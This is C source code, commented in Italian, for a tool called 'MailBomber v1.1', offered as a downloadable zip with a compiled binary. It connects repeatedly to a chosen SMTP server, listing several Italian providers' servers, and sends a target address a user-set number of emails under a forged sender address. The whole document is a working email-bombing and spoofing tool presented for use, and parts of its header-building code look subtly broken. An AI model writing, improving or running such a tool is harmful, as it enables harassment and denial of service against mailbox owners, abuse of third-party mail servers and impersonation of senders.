File compilato + sorgente qui: Mailbomber.zip
/*********************************************************************************\
* *
* MailBomber v1.1 *
* By NoRpiUs *
* UNIX & WIN VERSION *
* *
* Si puo' scegliere l'indirizzo di provenienza e l'oggetto della mail. *
* Usando il programma ho notato che se volete mandare delle email dovete usare *
* un smtp specifico. Per esempio se volete mandare una mail a uno che ha @tin.it *
* dovete usare come smtp mail.tin.it, se volete mandare una mail a uno che ha *
* @katamail.com dovete usare smtp.katamail.com e cosi via... dipende solo *
* dal smtp scelto :) *
* *
\*********************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#ifdef WIN32
#include <winsock.h>
#define close closesocket
#else
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netdb.h>
#endif
#define MSG "From: \"%s\" <"
#define OK1 "220"
#define OK2 "250"
#define OK3 "354"
#define OK4 "221"
#define HELO "HELO x\r\n"
#define DATA "DATA\r\n"
#define CLOSEDATA ">\r\n\r\n.\r\n\0"
#define QUIT "QUIT\r\n"
unsigned char tmpbuff[3000], buff[3000];
int sock, err, i;
void errore ( char *error )
{
printf("%s",error);
exit(1);
}
void smtp_send(unsigned char *buff, unsigned char *ok)
{
if ( send(sock, buff, strlen(buff), 0) < 0)
errore("Spedizione fallita");
if ( recv(sock, tmpbuff, sizeof(tmpbuff), 0) < 0)
errore("Ricezione fallita");
if ( !strstr(tmpbuff, ok))
{
printf("\t[-] Errore: %s\n", tmpbuff);
exit(1);
}
}
void uso ( char *exe )
{
printf("Uso: %s <from> <to> <numero di email> <smtp> <oggetto mail>\n\n", exe);
fputs("Smtp:\n"
"Katamail: smtp.katamail.com\n"
"Psycholand: mail.psycholand.org\n"
"Tin: mail.tin.it\n"
"Popmail: popmail.email.it\n"
"Libero: mail.libero.it\n", stdout);
exit(1);
}
int main(int argc, char *argv[])
{
struct sockaddr_in peer;
struct hostent *he;
#ifdef WIN32
WSADATA wsadata;
WSAStartup(MAKEWORD(2,0), &wsadata);
#endif
setbuf(stdout, NULL);
fputs("\n\tMailBomber v1.1 By NoRpiUs\n"
"\tMail: norpius@altervista.org\n"
"\tWeb: http://www.norpius.tk\n\n", stdout);
if(argc < 6) uso(argv[0]);
if ( (he = gethostbyname(argv[4])) == NULL )
errore("\t[-] Impossibile risolvere l'host\n");
peer.sin_addr = *(( struct in_addr *) he -> h_addr );
peer.sin_port = htons(IPPORT_SMTP);
peer.sin_family = AF_INET;
err = snprintf(buff, sizeof(MSG), MSG, argv[5]);
memcpy(buff + err, CLOSEDATA, sizeof(CLOSEDATA));
for ( i = 0; i < atoi(argv[3]); i++)
{
printf("\t[+] Mail numero: %d\n",i+1);
if ( (sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP )) < 0 )
errore("\t[-] Impossibile creare socket\n");
if ( connect(sock, (struct sockaddr *) &peer, sizeof(peer)) < 0 )
errore("\t[-] Connessione fallita\n");
smtp_send("", OK1);
smtp_send(HELO, OK2);
sprintf(tmpbuff, "MAIL FROM: <%s>\r\n", argv[1]);
smtp_send(tmpbuff, OK2);
sprintf(tmpbuff, "RCPT TO: <%s>\r\n", argv[2]);
smtp_send(tmpbuff, OK2);
smtp_send(DATA, OK3);
smtp_send(buff, OK2);
smtp_send(QUIT, OK4);
close(sock);
sleep(500);
}
return(0);
}
|